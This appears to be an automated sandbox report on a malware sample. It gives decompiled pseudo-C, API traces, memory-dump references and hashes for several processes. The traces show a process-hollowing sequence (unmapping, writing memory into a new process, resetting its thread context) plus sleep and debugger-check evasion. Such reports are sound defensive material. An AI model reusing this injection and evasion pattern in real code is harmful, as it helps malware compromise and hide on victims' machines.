Sleep.KERNELBASE(00001388), ref: 004018A5
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018CD

Memory Dump Source

Source File: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a8928e6e55b8b4e227df0247acc53c36ff3d0d28f5dab3da7981331d2ee707dc
Instruction ID: 5fbd72c74e45537ab99f1125e38db0bc72d15e2570e5ecb206d5ef66adce18ca
Opcode Fuzzy Hash: a8928e6e55b8b4e227df0247acc53c36ff3d0d28f5dab3da7981331d2ee707dc
Instruction Fuzzy Hash: 29F06D37204205EADB047AD19C81EBA3724AB05354F308577B713B80F1CA7D8742BB6B

Uniqueness

Uniqueness Score: -1.00%

Function 00401889, Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00401889(void* __eax, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t15;
				void* _t18;
				void* _t19;
				void* _t24;

				_t22 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				_t9 = __eax - 0x9c;
				asm("pushad");
				E0040119C(_t9, 0x5e, __edi, __esi, __eflags);
				_t15 =  *((intOrPtr*)(_t24 + 8));
				Sleep(0x1388);
				_push(_t24 - 4);
				_push( *((intOrPtr*)(_t24 + 0x10)));
				_push( *((intOrPtr*)(_t24 + 0xc)));
				_push(_t15); // executed
				_t11 = L004013D0(_t15, __edi, __esi); // executed
				_t28 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t24 + 0x14)));
					_push( *((intOrPtr*)(_t24 - 4)));
					_push(_t11);
					_push(_t15); // executed
					L004014AA(_t15, _t19, _t20, _t22); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				asm("hlt");
				_t13 = 0x189d;
				 *__edi =  !( *__edi);
				_t18 = 0x5e;
				E0040119C(_t13, _t18, _t20, _t22, _t28);
				return _t13;
			}

0x00401889
0x00401889
0x00401889
0x00401889
0x0040188b
0x00401898
0x0040189d
0x004018a5
0x004018ab
0x004018ac
0x004018af
0x004018b2
0x004018b3
0x004018b8
0x004018ba
0x004018bc
0x004018bf
0x004018c2
0x004018c3
0x004018c4
0x004018c4
0x004018cd
0x004018e2
0x004018dc
0x004018f4
0x004018ee
0x004018f6
0x004018ff

APIs

Sleep.KERNELBASE(00001388), ref: 004018A5
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018CD

Memory Dump Source

Source File: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: ea11054495392f58ae297e7bcac3d10550e05c94befe89e1698b889e1dc3a00d
Instruction ID: d032e64e4402f54c28c15da4b8d5863afeeaa8ba4220785a7f7b15f68ce76e08
Opcode Fuzzy Hash: ea11054495392f58ae297e7bcac3d10550e05c94befe89e1698b889e1dc3a00d
Instruction Fuzzy Hash: 70F01D37204305BADB057AD19C81ABA3768AB05325F208577B713B80F1DA7D8752B76A

Uniqueness

Uniqueness Score: -1.00%

Function 00401893, Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00401893(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t8;
				void* _t10;
				void* _t12;
				intOrPtr* _t15;
				void* _t19;
				void* _t20;
				void* _t25;
				void* _t28;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx;
				_t28 = __ebx - __ecx;
				E0040119C(_t8, 0x5e, __edi, __esi, _t28);
				_t15 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t15); // executed
				_t10 = L004013D0(_t15, __edi, __esi); // executed
				_t29 = _t10;
				if(_t10 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t10);
					_push(_t15); // executed
					L004014AA(_t15, _t20, _t21, _t23); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				asm("hlt");
				_t12 = 0x189d;
				 *__edi =  !( *__edi);
				_t19 = 0x5e;
				E0040119C(_t12, _t19, _t21, _t23, _t29);
				return _t12;
			}

0x00401893
0x00401893
0x00401893
0x00401893
0x00401898
0x0040189d
0x004018a5
0x004018ab
0x004018ac
0x004018af
0x004018b2
0x004018b3
0x004018b8
0x004018ba
0x004018bc
0x004018bf
0x004018c2
0x004018c3
0x004018c4
0x004018c4
0x004018cd
0x004018e2
0x004018dc
0x004018f4
0x004018ee
0x004018f6
0x004018ff

APIs

Sleep.KERNELBASE(00001388), ref: 004018A5
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018CD

Memory Dump Source

Source File: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 8118f80613ac1297583d2dfe92dbef4e127ca0fceffc5a14a727f950c5d0b73d
Instruction ID: 5d55c7e5edc0f029dc54cf9e35da1e14b90e1c9db8a03d1a003789bb971e88c6
Opcode Fuzzy Hash: 8118f80613ac1297583d2dfe92dbef4e127ca0fceffc5a14a727f950c5d0b73d
Instruction Fuzzy Hash: 99F04937204205AADB047AD19C81ABA3328AB05325F208537BB13B80F1DA7D8752B76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018E7, Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004018E7(void* __eax, void* __edx) {
				void* _t7;
				void* _t9;
				void* _t11;
				signed int _t13;
				signed int _t18;

				_pop(_t9);
				_t18 =  *(__edx + 0x5eb595e + _t13 * 2) * 0x6d;
				_t7 = 0x5e;
				E0040119C(__eax, _t7, _t9, _t11, _t18);
				return __eax;
			}

0x004018e7
0x004018ea
0x004018ee
0x004018f6
0x004018ff

Memory Dump Source

Source File: 00000001.00000002.711155918.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc13008a0a712645469500ba9c64706bb015ed8055ed7bd09b4d291ee41fdff7
Instruction ID: d656eb8c2b23ba669e51893d036c2560b7f98eefb4833c952a000d057950e72f
Opcode Fuzzy Hash: dc13008a0a712645469500ba9c64706bb015ed8055ed7bd09b4d291ee41fdff7
Instruction Fuzzy Hash: FBE08C372097018AC2183288F48AAB53350B742732B30C57BD213BC0F06A7D0382BB8F

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: geedrvu PID: 6640 Parent PID: 3136 geedrvuCOMMON

Executed Functions

Function 00401866, Relevance: 3.1, APIs: 2, Instructions: 51
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00401866(void* __edx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				signed int* __edi;
				void* __esi;
				void* __ebp;
				void* _t8;
				void* _t10;
				void* _t12;
				intOrPtr* _t14;
				void* _t16;
				void* _t17;
				void* _t18;
				void* _t19;

				_t17 = __edx;
				_t8 = 0x189d;
				E0040119C(_t8, 0x5e, _t18, _t19, __eflags);
				_t14 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				_t10 = L004013D0(_t14, _t18, _t19); // executed
				_t21 = _t10;
				if(_t10 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t10);
					_push(_t14); // executed
					L004014AA(_t14, _t17, _t18, _t19); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				asm("hlt");
				_t12 = 0x189d;
				 *__edi =  !( *__edi);
				_t16 = 0x5e;
				E0040119C(_t12, _t16, _t18, _t19, _t21);
				return _t12;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004018A5
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018CD

Memory Dump Source

Source File: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 119879c171422be2cac911d19cbcdca668b144991df56dec807884e10121a86e
Instruction ID: 0a019cd4b9b16fec648ae480f107f66fdd90bb2e14f08e50036174fccb847409
Opcode Fuzzy Hash: 119879c171422be2cac911d19cbcdca668b144991df56dec807884e10121a86e
Instruction Fuzzy Hash: 64012C37108205FADB047AD19C45EBA3718AB05764F308537BA13B80F19A7D8752B76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187F, Relevance: 3.0, APIs: 2, Instructions: 45
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040187F(void* __eax, intOrPtr* __ebx, void* __edx, void* __edi, void* __esi) {
				void* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t16;
				void* _t19;
				void* _t20;
				void* _t25;
				void* _t28;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx;
				_t28 = __eax -  *__ebx;
				_t9 = 0x189d;
				E0040119C(_t9, 0x5e, __edi, __esi, _t28);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t16); // executed
				_t11 = L004013D0(_t16, __edi, __esi); // executed
				_t29 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004014AA(_t16, _t20, _t21, _t23); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				asm("hlt");
				_t13 = 0x189d;
				 *__edi =  !( *__edi);
				_t19 = 0x5e;
				E0040119C(_t13, _t19, _t21, _t23, _t29);
				return _t13;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004018A5
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018CD

Memory Dump Source

Source File: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a8928e6e55b8b4e227df0247acc53c36ff3d0d28f5dab3da7981331d2ee707dc
Instruction ID: 5fbd72c74e45537ab99f1125e38db0bc72d15e2570e5ecb206d5ef66adce18ca
Opcode Fuzzy Hash: a8928e6e55b8b4e227df0247acc53c36ff3d0d28f5dab3da7981331d2ee707dc
Instruction Fuzzy Hash: 29F06D37204205EADB047AD19C81EBA3724AB05354F308577B713B80F1CA7D8742BB6B

Uniqueness

Uniqueness Score: -1.00%

Function 00401889, Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00401889(void* __eax, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t15;
				void* _t18;
				void* _t19;
				void* _t24;

				_t22 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				_t9 = __eax - 0x9c;
				asm("pushad");
				E0040119C(_t9, 0x5e, __edi, __esi, __eflags);
				_t15 =  *((intOrPtr*)(_t24 + 8));
				Sleep(0x1388);
				_push(_t24 - 4);
				_push( *((intOrPtr*)(_t24 + 0x10)));
				_push( *((intOrPtr*)(_t24 + 0xc)));
				_push(_t15); // executed
				_t11 = L004013D0(_t15, __edi, __esi); // executed
				_t28 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t24 + 0x14)));
					_push( *((intOrPtr*)(_t24 - 4)));
					_push(_t11);
					_push(_t15); // executed
					L004014AA(_t15, _t19, _t20, _t22); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				asm("hlt");
				_t13 = 0x189d;
				 *__edi =  !( *__edi);
				_t18 = 0x5e;
				E0040119C(_t13, _t18, _t20, _t22, _t28);
				return _t13;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004018A5
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018CD

Memory Dump Source

Source File: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: ea11054495392f58ae297e7bcac3d10550e05c94befe89e1698b889e1dc3a00d
Instruction ID: d032e64e4402f54c28c15da4b8d5863afeeaa8ba4220785a7f7b15f68ce76e08
Opcode Fuzzy Hash: ea11054495392f58ae297e7bcac3d10550e05c94befe89e1698b889e1dc3a00d
Instruction Fuzzy Hash: 70F01D37204305BADB057AD19C81ABA3768AB05325F208577B713B80F1DA7D8752B76A

Uniqueness

Uniqueness Score: -1.00%

Function 00401893, Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00401893(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t8;
				void* _t10;
				void* _t12;
				intOrPtr* _t15;
				void* _t19;
				void* _t20;
				void* _t25;
				void* _t28;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx;
				_t28 = __ebx - __ecx;
				E0040119C(_t8, 0x5e, __edi, __esi, _t28);
				_t15 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t15); // executed
				_t10 = L004013D0(_t15, __edi, __esi); // executed
				_t29 = _t10;
				if(_t10 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t10);
					_push(_t15); // executed
					L004014AA(_t15, _t20, _t21, _t23); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				asm("hlt");
				_t12 = 0x189d;
				 *__edi =  !( *__edi);
				_t19 = 0x5e;
				E0040119C(_t12, _t19, _t21, _t23, _t29);
				return _t12;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004018A5
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018CD

Memory Dump Source

Source File: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 8118f80613ac1297583d2dfe92dbef4e127ca0fceffc5a14a727f950c5d0b73d
Instruction ID: 5d55c7e5edc0f029dc54cf9e35da1e14b90e1c9db8a03d1a003789bb971e88c6
Opcode Fuzzy Hash: 8118f80613ac1297583d2dfe92dbef4e127ca0fceffc5a14a727f950c5d0b73d
Instruction Fuzzy Hash: 99F04937204205AADB047AD19C81ABA3328AB05325F208537BB13B80F1DA7D8752B76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018E7, Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004018E7(void* __eax, void* __edx) {
				void* _t7;
				void* _t9;
				void* _t11;
				signed int _t13;
				signed int _t18;

				_pop(_t9);
				_t18 =  *(__edx + 0x5eb595e + _t13 * 2) * 0x6d;
				_t7 = 0x5e;
				E0040119C(__eax, _t7, _t9, _t11, _t18);
				return __eax;
			}

0x004018e7
0x004018ea
0x004018ee
0x004018f6
0x004018ff

Memory Dump Source

Source File: 0000000B.00000002.760251538.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc13008a0a712645469500ba9c64706bb015ed8055ed7bd09b4d291ee41fdff7
Instruction ID: d656eb8c2b23ba669e51893d036c2560b7f98eefb4833c952a000d057950e72f
Opcode Fuzzy Hash: dc13008a0a712645469500ba9c64706bb015ed8055ed7bd09b4d291ee41fdff7
Instruction Fuzzy Hash: FBE08C372097018AC2183288F48AAB53350B742732B30C57BD213BC0F06A7D0382BB8F

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: C612.exe PID: 6656 Parent PID: 3424 C612.exeCOMMON

Executed Functions

Function 04760110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04760156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0476016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04760255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04760270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04760283
GetThreadContext.KERNELBASE(00000000,?), ref: 0476029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 047602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 047602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04760304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0476032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04760399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 047603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 047603E1
ResumeThread.KERNELBASE(00000000), ref: 047603ED
ExitProcess.KERNEL32(00000000), ref: 04760412

Memory Dump Source

Source File: 0000000C.00000002.753869884.0000000004760000.00000040.00000001.sdmp, Offset: 04760000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: e561b517eba50842a96a4f1161611cd66609925c43810cd9b239c3e56a7ffdbb
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 57B1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB395D771AD45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04760420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04760533

Strings

saodkfnosa9uin, xrefs: 047604DA
mfoaskdfnoa, xrefs: 04760520, 04760523
d, xrefs: 04760584
0, xrefs: 04760492

Memory Dump Source

Source File: 0000000C.00000002.753869884.0000000004760000.00000040.00000001.sdmp, Offset: 04760000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: f7711b405ba4df4e77df0239127855a0af6f27d4a6451c3483654a95262353c1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 3D510870D083C8DAEB11CBA8C849BDDBFB2AF11708F144058D9457F286C3BA6658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 047605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 047605EC

Strings

apfHQ, xrefs: 047605E2, 047605E5
o, xrefs: 04760600

Memory Dump Source

Source File: 0000000C.00000002.753869884.0000000004760000.00000040.00000001.sdmp, Offset: 04760000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 08adb6586d40eedff418bb595af9dd5451a6988e8382c56acef62fa4cc7bb845
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 4701DE70C0428CEADB15DBA8C5587AEBFB6AF41308F1480D9C8593B342D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00407930, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407930() {
				void* _t1;

				_t1 = E00407860(0); // executed
				return _t1;
			}

0x00407937
0x00407940

APIs

__encode_pointer.LIBCMTD ref: 00407937

Part of subcall function 00407860: TlsGetValue.KERNEL32(00000002), ref: 00407875
Part of subcall function 00407860: TlsGetValue.KERNEL32(00000002,00000004), ref: 00407896
Part of subcall function 00407860: __crt_wait_module_handle.LIBCMTD ref: 004078AC
Part of subcall function 00407860: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004078C6
Part of subcall function 00407860: RtlEncodePointer.NTDLL(?), ref: 004078E7

Memory Dump Source

Source File: 0000000C.00000002.753219045.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.753209866.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.753274261.000000000041E000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.753297029.0000000000427000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.753312062.0000000000428000.00000008.00020000.sdmp Download File
Associated: 0000000C.00000002.753340425.0000000000437000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.753601989.0000000002B41000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 458b40f64e0a49bbe70259351022231659731798853122b6f9d7a0bc5ea3cdb6
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 49A011A388820C33E00030A3380BF023A0C83C0A38E080032FA0E0A28228A2B82080AB

Uniqueness

Uniqueness Score: -1.00%

Function 00402C20, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E004088D0(); // executed
				return L00402C40(_t3, _t4);
			}

0x00402c25
0x00402c30

APIs

___security_init_cookie.LIBCMTD ref: 00402C25

Memory Dump Source

Source File: 0000000C.00000002.753219045.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.753209866.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.753274261.000000000041E000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.753297029.0000000000427000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.753312062.0000000000428000.00000008.00020000.sdmp Download File
Associated: 0000000C.00000002.753340425.0000000000437000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.753601989.0000000002B41000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: dd547748d33fe159a6cf795b17ce11f329cfb64abb1971ed4a5ee84bf4530fd7
Instruction ID: e6e9d2338881c6152bf15d496eab950bddd7a6247cfaddb9cb557a5337e3cda4
Opcode Fuzzy Hash: dd547748d33fe159a6cf795b17ce11f329cfb64abb1971ed4a5ee84bf4530fd7
Instruction Fuzzy Hash: 79A00212048F4816915833A7060F90F764D48C0718FD5403E7658321D75CBCA80141AE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00406550, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00406550(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x4272f8; // 0x890887a1
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x438340 = _t6;
				 *0x43833c = _t20;
				 *0x438338 = _t22;
				 *0x438334 = _t19;
				 *0x438330 = _t25;
				 *0x43832c = _t24;
				 *0x438358 = ss;
				 *0x43834c = cs;
				 *0x438328 = ds;
				 *0x438324 = es;
				 *0x438320 = fs;
				 *0x43831c = gs;
				asm("pushfd");
				_pop( *0x438350);
				 *0x438344 =  *_t29;
				 *0x438348 = _v0;
				 *0x438354 =  &_a4;
				 *0x438290 = 0x10001;
				 *0x438244 =  *0x438348;
				 *0x438238 = 0xc0000409;
				 *0x43823c = 1;
				_t21 =  *0x4272f8; // 0x890887a1
				_v812 = _t21;
				_t23 =  *0x4272fc; // 0x76f7785e
				_v808 = _t23;
				 *0x438288 = IsDebuggerPresent();
				_push(1);
				E0040D490(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x422340);
				if( *0x438288 == 0) {
					_push(1);
					E0040D490(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00406550
0x00406550
0x00406550
0x00406550
0x00406550
0x00406550
0x00406550
0x00406556
0x00406558
0x00406558
0x0041223b
0x00412240
0x00412246
0x0041224c
0x00412252
0x00412258
0x0041225e
0x00412265
0x0041226c
0x00412273
0x0041227a
0x00412281
0x00412288
0x00412289
0x00412292
0x0041229a
0x004122a2
0x004122ad
0x004122bc
0x004122c1
0x004122cb
0x004122d5
0x004122db
0x004122e1
0x004122e7
0x004122f3
0x004122f8
0x004122fa
0x00412304
0x0041230f
0x0041231c
0x0041231e
0x00412320
0x00412325
0x0041233d

APIs

IsDebuggerPresent.KERNEL32 ref: 004122ED
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00412304
UnhandledExceptionFilter.KERNEL32(00422340), ref: 0041230F
GetCurrentProcess.KERNEL32(C0000409), ref: 0041232D
TerminateProcess.KERNEL32(00000000), ref: 00412334

Memory Dump Source

Source File: 0000000C.00000002.753219045.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.753209866.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.753274261.000000000041E000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.753297029.0000000000427000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.753312062.0000000000428000.00000008.00020000.sdmp Download File
Associated: 0000000C.00000002.753340425.0000000000437000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.753601989.0000000002B41000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4dfb8fb7e503834d02b5642a820ad644efde5c81f687500f907eee789d7877b5
Instruction ID: e29c42a0c4993e0a7d88a9e047fdfc506b873a07ce9d7daa88e6e2b66b881742
Opcode Fuzzy Hash: 4dfb8fb7e503834d02b5642a820ad644efde5c81f687500f907eee789d7877b5
Instruction Fuzzy Hash: C221DCB8901304DBD750DF65F985699BBA0FB08B14F6061BEFC0883360EBB656858F5E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: C612.exe PID: 6868 Parent PID: 6656 C612.exeCOMMON

Executed Functions

Function 00402702, Relevance: 1.6, APIs: 1, Instructions: 50
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00402702(intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __edi;
				void* __esi;
				void* _t9;
				long _t11;
				intOrPtr _t12;
				intOrPtr _t15;
				void* _t16;
				void* _t17;
				void* _t19;
				UNICODE_STRING* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;
				void* _t24;

				_t9 = 0x273a;
				asm("repne push edx");
				_t15 =  *_t21;
				_t22 = _t21 + 4;
				E0040119C(_t9, _t15, _t17, _t19, _t24);
				_t20 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t20, _a8, 0x50);
				_t18 =  &_v8;
				asm("cld");
				_t11 = LdrLoadDll(0, 0, _t20,  &_v8);
				_t25 = _t11;
				if(_t11 != 0) {
					_v8 = 0;
				}
				_push(0x273a);
				_t12 =  *_t22;
				_t16 = 0x50;
				E0040119C(_t12, _t16, _t18, _t20, _t25);
				return _v8;
			}

0x00402717
0x00402733
0x00402728
0x0040272b
0x00402735
0x0040273d
0x00402744
0x00402747
0x00402749
0x00402750
0x00402753
0x00402755
0x00402757
0x00402757
0x00402763
0x00402768
0x0040277d
0x00402785
0x00402791

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402750

Memory Dump Source

Source File: 0000000D.00000001.752960347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
